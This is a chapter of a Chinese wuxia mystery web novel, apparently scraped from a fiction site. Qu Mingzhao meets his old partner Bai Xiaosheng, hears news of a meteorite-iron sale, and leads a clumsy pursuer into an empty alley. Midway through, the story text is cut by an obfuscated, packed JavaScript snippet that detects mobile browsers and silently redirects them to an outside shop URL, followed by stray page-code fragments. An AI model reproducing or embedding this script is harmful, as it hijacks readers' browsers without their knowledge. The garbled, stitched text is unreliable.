文趣网 > 其他小说 > 真凶跪求我别“算”了 > 19.猎物入网
    金钗立刻作揖请罪:“是我的疏忽,名单是从武林大会参会名册上抄录下来的,没有二次核查,我马上去领罚。”

    曲明昭的信息迅速被重新送上来,百晓生摆摆手:“无妨,武林大会是扬名立万的机会,少有人用假名,不怪你。”

    他一目十行扫了一眼少得可怜的资料,下令:“他没我们想的那么普通,请他上来。”

    金钗去又复返,谷景云一挑眉,在她和淡定地又往嘴里塞了个果仁莲蓉包的曲明昭之间来回看了看,也没看出个所以然。

    “那我呢?”

    “您可以随意点本店的酒菜,今日给您这桌免单。”

    谷景云看看桌上满满当当的菜品,顿时摆了摆手:“不点了,你们给我找几本书解闷吧。”

    行至醉仙楼顶层,金钗推开其中一间,恭敬地请曲明昭进去,自己守在了门外。

    “曲公子,你的谢礼着实独特。”

    百晓生站在书桌后,悄悄打量了一下。

    薄,这是他对曲明昭的第一印象。

    这人一身青衣,面容清俊,腰背挺直却单薄得很,细看嘴唇没什么血色,像是久病体弱之人。

    听出他的阴阳之意,曲明昭蛮不在乎地笑道:“门前随手捡的,先生可还喜欢?”

    “喜欢得很,不知是何人提点公子送的?”

    “是我自己想送,金银玉器先生多的是,思来想去,这投石问路更符合我们此番来意。”

    曲明昭带着笑意与他四目相对,百晓生则截然不同,眼神严肃甚至有一丝凶气。

    他眯着眼凑过去,审视的目光仿佛要将曲明昭看穿一般。

    面不改色地任他打量,曲明昭开玩笑道:“您离太近了,在下不好男风,礼只一份,不出卖色相。”

    像是终于确认了什么,百晓生喜上眉梢,一巴掌拍上曲明昭后背。

    “嘴还是这么欠,我就知道你小子祸害遗千年,阎王都不肯收!”

    他这一巴掌打得激动,曲明昭捂着胸口咳嗽了两声,百晓生已经喜极而泣,转而抱着他嚎哭起来,哭的一把鼻涕一把泪。

    “七儿,你是不知道,你不在的这几年,咱俩这醉仙楼我一个人打理可累了。”

    百晓生揉着自己胖嘟嘟的脸颊:“你看我都累瘦了。”

    轻推了一下无果,曲明昭笑了笑就任他抱着,瞥到百晓生外衫下鼓出来的肚子,摇了摇头,哄小孩一般拍拍他。

    “你都是大老板了,哭成这样多丢人。”

    “咱俩都认识十几年了,我什么样你没见过,丢人能让你活着站在我面前,这笔生意我赚大了。”

    百晓生抬起袖子擦擦脸,吸了吸鼻子:“你这些年过得如何?”

    “挺好。”曲明昭不愿多说。

    “都这样了还挺好呢!”百晓生揪揪曲明昭的脸颊。

    “脸上连二两肉都没有,不行,我得叫大夫给你看看,再让厨房给你做点肉补补。”

    曲明昭淡淡地说:“不用杀人了,可不是挺好的。”

    百晓生嘴唇动了动,往日时光浮现在脑海中,眸底划过一抹不忍,强撑着笑起来:“那是挺好。”

    “你呢?”曲明昭很自然地给自己倒了杯热茶。

    “京都薛家的二公子开了个酒楼叫忘忧阁,把咱醉仙楼当生意上的眼中钉,老是给我找不痛快。”

    百晓生痛斥了一顿,又眉开眼笑:“但小爷我技高一筹,照样把这醉仙楼守得红红火火!”

    曲明昭眉宇间染上些许笑意,再开口十分柔和。

    “是是是,我一直都觉得你是全大兴最有经商天赋的人,不然你穿着一身乞丐装硬要和我合伙开酒楼时,我也不会这么痛快就给你盘楼的钱。”

    聊起旧事,曲明昭纤长浓密的睫毛垂下来,掩住了眼中的愧意。

    “最近的疯传是鬼魂索命的凶案闹得沸沸扬扬,我担心是冲着白大哥的遗孤而来,你可还知道什么消息?”

    曲明昭简单把“常德五君子”灭门白家庄后他救走白如烟兄妹的事复述了一遍,百晓生“啪”地一拍桌子,桌上的茶盏尽数碎了一地。

    “果然是这几个孙子干的!”

    他拳头攥得紧紧的,身体止不住地愤怒颤抖起来。

    “白大哥出事后,我派了很多人去查,每次要摸到他们身上时,醉仙楼就有倒霉事找上门,我就琢磨着这里面肯定有问题。”

    百晓生记性好得很,很快就把这些年的经历串联起来。

    “他们五人虽在江湖上小有名气,但绝不可能会对醉仙楼造成威胁。”百晓生面露严肃,“背后应该有大家伙。”

    “再大的家伙我也要揪出来。”

    曲明昭眼中的笑意渐冷,漫上一抹肃杀。

    “我作恶多端死不足惜,可白家庄一百二十三口人凭什么死,就因为跟我关系好吗?”

    “呸呸呸!”百晓生吐了吐口水,“不许这么想,你也不该死,该死的是那帮屠庄的混蛋!”

    曲明昭说得有些激动,蛊虫受他情绪影响,也躁动起来。

    他下意识施力按压心口的痛处,痛得骨节分明的细瘦手指在心口忽然收紧,腰间随着他收紧的手被揪起一道道褶皱。

    百晓生眼神一紧,担忧地看着他:“是不是江月楼的蛊虫发作了?”

    “不碍事。”

    嘴唇被无意识地咬得发白,曲明昭深呼吸几下,强行驱动内力将蛊虫压制下来。

    他问:“铜川郡有关天外陨铁的消息保真吗?不久前白满川去了后就再也没有回音了,我担心也与这里的凶案有关。”

    “确实收到铜川郡不日要拍卖天外陨铁的消息。”百晓生神色复杂,“但那里既是桃源也是炼狱。”

    他接着道:“铜川郡有个玩乐的地方叫‘天上人间’,是月先生的地盘,我们派去打进内部的人一个都没回来过。”

    曲明昭微皱起眉,月先生此人他听过,江湖上无人知他底细,只知他城府极深,手段雷霆,黑白两道多有涉猎,生意遍布大兴,虽是商人,但绝对没人敢看低他。

    醉仙楼的探子绝不输江月楼,若是从来没人能活着回来,那这“天上人间”可是十分危险。

    “肖仁和沙义最近去过吗?”

    “肖仁去过,我们的人用了点特殊办法,查到了他是陨铁的卖家。”

    垂下眼思量了一下,百晓生问:“七儿,你觉得是夺宝杀人吗?他们因为漏了手里有天外陨铁才被……”

    他并起手掌做了个抹脖子的动作。

    曲明昭慢慢摇了摇头:“现在还不好说。”

    “对了,以后记得叫我曲明昭,明亮的明,昭阳的昭。”

    百晓生笑嘻嘻地说:“不错,以前那名儿沾着江月楼,晦气极了,现在这名儿日日月月的,看着就亮堂。”

    算着时辰,曲明昭起身:“我该走了,你现在找人去大会别院给陆琮带句话。”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682615|206531||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    一脚迈出房门,曲明昭忽又回头道:“对了,跟我一块来的那小子,再拟万人册时给他个名次吧。”

    -

    “茜草,主止血内崩,下血,膀胱不足,踒跌,蛊毒。久服益精气,轻身。”

    醉仙楼送来的书涵盖了各种品类,谷景云百无聊赖地翻到一本医书,有些意外地挑了挑眉。

    他嘟囔了一声:“先前还真让曲明昭说对了,他真懂一点啊。”

    记挂着曲明昭还未回来,谷景云不耐烦地频频抬头,余光瞄到邻座的一个呆呆愣愣的少年,乍一看与街上穿得破破烂烂的乞丐没两样,但手里的鲁班锁却转得飞起。

    瞧着有趣,谷景云喊了他两声,可那少年一门心思都在鲁班锁上,连眼睛都没朝他挪一下。

    “真是个痴人。”

    看着少年三下五除二就解开了十分精巧复杂的鲁班锁,谷景云惊讶地张大了嘴,毫不吝啬夸耀:“你可真厉害。”

    “嗯,我很擅长破解机关。”

    还在变声期的声音有些沙哑,明明是自夸的话,可偏偏少年的语气一板一眼,活脱脱也像个机关人俑。

    谷景云朝他竖了个大拇指,甫一抬头,曲明昭已眉眼弯弯地站在面前。

    立马将玩鲁班锁的少年抛之脑后,谷景云迫不及待地问:“怎么样?”

    “百晓生给了新信息,铜川郡有出手天外陨铁的消息,卖家是肖仁。”

    谷景云一惊:“他有天外陨铁?据说那东西坚硬无比,削铁如泥,可江湖上除了江七的一双袖剑,再无人有陨铁打造的兵器,白家庄惨案后一直有价无市,我还以为是编的。”

    谷景云摸着下巴想了想:“所以凶手是为夺宝才杀了肖仁,可沙义呢?难道是在肖仁那里没找到,觉得放在他好友那里了?”

    曲明昭只是耸耸肩,没有告诉他当年劫掠白家庄是五人合谋,他一旦说出真相,很容易会被怀疑是白家庄有幸存者复仇。

    谷景云还是那副听风就是雨的性子,火急火燎地拉着曲明昭快步往回走。

    他边走便问:“你到底给百晓生送的什么啊,他居然不仅同意见你,还告诉我们消息?”

    他实在好奇得很。

    “我给他算了一卦,把卜辞放盒子里了。”

    谷景云白了他一眼,这种话再来一百次他都不会信了。

    “你要真会算卦,我跟你姓。”

    曲明昭笑眯眯地接下:“曲景云很好听啊,你品味不错。”

    谷景云撇着嘴“切”了一声,明显没把曲明昭的玩笑话当回事。

    落后谷景云半步,曲明昭慢慢收起笑意,眼神冷淡下来。

    有人一直跟着他们。

    离开别院的时候他就发现了。

    不是个有经验的杀手,潜伏做的太差了,甚至在他故意说出“天外陨铁”时,泄露出的杀意达到了顶峰。

    也就谷景云江湖经验少,没过过刀尖舔血的日子,才对这种杀意不够敏感。

    不过正好,就是要幕后之人忍不住露出马脚才好。

    轻笑一声,曲明昭一指荒凉的小路:“这像是回别院的近路。”

    回头扫了一眼熙熙攘攘的热闹街巷,曲明昭浅浅勾起嘴角,带着谷景云走进人烟逐渐稀少的巷子。

    他都好心帮忙挑好了适合动手的地方,可千万别让他失望啊。

    要知道,对杀手来说,耐心不充分的猎人稍不注意就会变成猎物。